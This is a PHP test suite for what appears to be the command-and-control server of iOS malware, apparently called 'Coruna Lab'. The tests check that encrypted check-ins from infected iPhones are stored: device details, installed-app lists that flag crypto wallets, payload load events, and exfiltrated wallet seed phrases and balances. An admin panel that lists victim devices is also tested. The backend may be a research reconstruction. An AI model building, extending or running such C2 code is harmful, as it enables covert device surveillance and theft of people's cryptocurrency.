236 lines
8.0 KiB
PHP
236 lines
8.0 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Device;
|
|
use App\Models\DeviceApp;
|
|
use App\Models\DeviceEvent;
|
|
use App\Models\Wallet;
|
|
use App\Models\WalletAddress;
|
|
use App\Services\CorunaCrypto;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class C2ApiTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function query_returns_plain_ok(): void
|
|
{
|
|
$this->get('/api/user/query')
|
|
->assertOk()
|
|
->assertSee('OK');
|
|
}
|
|
|
|
#[Test]
|
|
public function avatar_set_ingests_device_model_and_ua(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'd' => '000430C910E8E526',
|
|
'f' => '000430C910E8E526',
|
|
'deviceModel' => 'iPhone9,1',
|
|
'systemVersion' => ['ProductVersion' => '15.8.4'],
|
|
];
|
|
$ts = '1722585600123';
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
|
|
$resp = $this->call(
|
|
'POST',
|
|
'/api/user/avatar/set',
|
|
[],
|
|
[],
|
|
[],
|
|
[
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
'HTTP_USER_AGENT' => 'CorunaLab/1.0 (iPhone; iOS 15.8.4)',
|
|
],
|
|
$enc['body']
|
|
);
|
|
|
|
$resp->assertOk();
|
|
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
|
$this->assertSame(0, $plain['code'] ?? null);
|
|
|
|
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame('15.8.4', $device->ios_version);
|
|
$this->assertSame('iPhone9,1', $device->device_model);
|
|
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
|
|
$this->assertSame(0, $device->apps()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function user_get_ingests_installed_apps_per_bundle(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'd' => '000430C910E8E526',
|
|
'f' => '000430C910E8E526',
|
|
'v' => '15.8.4',
|
|
'al' => [
|
|
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
|
|
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '15.8'],
|
|
],
|
|
];
|
|
$ts = '1722585600222';
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
|
|
$this->call('POST', '/api/user/get', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame('15.8.4', $device->ios_version);
|
|
|
|
$mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first();
|
|
$this->assertNotNull($mm);
|
|
$this->assertSame('MetaMask', $mm->name);
|
|
$this->assertSame('7.12.0', $mm->version);
|
|
$this->assertTrue($mm->is_wallet);
|
|
$this->assertSame(2, $device->apps()->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function avatar_put_stores_device_event_log(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'd' => '000430C910E8E526',
|
|
'f' => '000430C910E8E526',
|
|
'id' => 'event-uuid-should-not-be-device-key',
|
|
'et' => 'corepayload_update',
|
|
'desc' => 'CorePayload first load succeeded',
|
|
'ctx' => ['stage' => 1],
|
|
'm' => 'iPhone9,1',
|
|
];
|
|
$ts = '1722585600333';
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertNull(Device::query()->where('device_id', 'event-uuid-should-not-be-device-key')->first());
|
|
$this->assertSame('iPhone9,1', $device->device_model);
|
|
|
|
$ev = DeviceEvent::query()->where('device_key', '000430C910E8E526')->first();
|
|
$this->assertNotNull($ev);
|
|
$this->assertSame('corepayload_update', $ev->event_name);
|
|
$this->assertSame('CorePayload first load succeeded', $ev->desc);
|
|
$this->assertSame(['stage' => 1], $ev->context_json);
|
|
}
|
|
|
|
#[Test]
|
|
public function set_and_status_ingest_wallet_secrets_and_addresses(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$tsSet = '1722585600456';
|
|
$encSet = $crypto->encryptJson([
|
|
'd' => 'dev-wallet-1',
|
|
'result' => $mnemonic,
|
|
'pn' => 'io.metamask',
|
|
], $tsSet);
|
|
|
|
$this->call('POST', '/api/user/set', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsSet,
|
|
], $encSet['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-wallet-1')->first();
|
|
$this->assertNotNull($device);
|
|
$wallet = Wallet::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($wallet);
|
|
$this->assertSame($mnemonic, $wallet->mnemonic);
|
|
$this->assertSame('abandon *** about', Wallet::maskSecret($wallet->mnemonic));
|
|
|
|
$tsStatus = '1722585600789';
|
|
$encStatus = $crypto->encryptJson([
|
|
'd' => 'dev-wallet-1',
|
|
'data' => [
|
|
['address' => '0xabc123', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'],
|
|
],
|
|
], $tsStatus);
|
|
|
|
$this->call('POST', '/api/user/status', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsStatus,
|
|
], $encStatus['body'])->assertOk();
|
|
|
|
$this->assertTrue(
|
|
WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', '0xabc123')
|
|
->where('chain', 'eth')
|
|
->exists()
|
|
);
|
|
$logFile = public_path('log/c2/'.date('Ymd').'.log');
|
|
$this->assertFileExists($logFile);
|
|
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_guest_is_redirected_to_admin_login(): void
|
|
{
|
|
$this->get('/admin')
|
|
->assertRedirect(route('admin.login'));
|
|
|
|
$this->get('/admin/devices')
|
|
->assertRedirect(route('admin.login'));
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_login_and_device_list(): void
|
|
{
|
|
Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
Device::query()->create([
|
|
'device_id' => 'dev-x',
|
|
'ios_version' => '16.0',
|
|
'device_model' => 'iPhone14,2',
|
|
'user_agent' => 'TestUA/1.0',
|
|
'ip' => '1.2.3.4',
|
|
]);
|
|
|
|
$this->post('/admin/login', ['username' => 'admin', 'password' => 'admin123'])
|
|
->assertRedirect(route('admin.home'));
|
|
|
|
$this->get('/admin')
|
|
->assertOk()
|
|
->assertSee('Coruna Lab');
|
|
|
|
$this->get('/admin/devices')
|
|
->assertOk()
|
|
->assertSee('dev-x')
|
|
->assertSee('iPhone14,2')
|
|
->assertSee('安装时间')
|
|
->assertSee('更新时间')
|
|
->assertSee('详情')
|
|
->assertDontSee('User-Agent');
|
|
|
|
$this->get('/admin/devices?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3')
|
|
->assertOk()
|
|
->assertSee('dev-x');
|
|
|
|
$this->get('/admin/devices?device_key=no-such-device')
|
|
->assertOk()
|
|
->assertSee('暂无设备');
|
|
|
|
$device = Device::query()->where('device_id', 'dev-x')->firstOrFail();
|
|
$this->get(route('admin.devices.show', [$device, 'tab' => 'apps']))
|
|
->assertOk()
|
|
->assertSee('应用列表')
|
|
->assertSee('日志')
|
|
->assertDontSee('概览');
|
|
}
|
|
}
|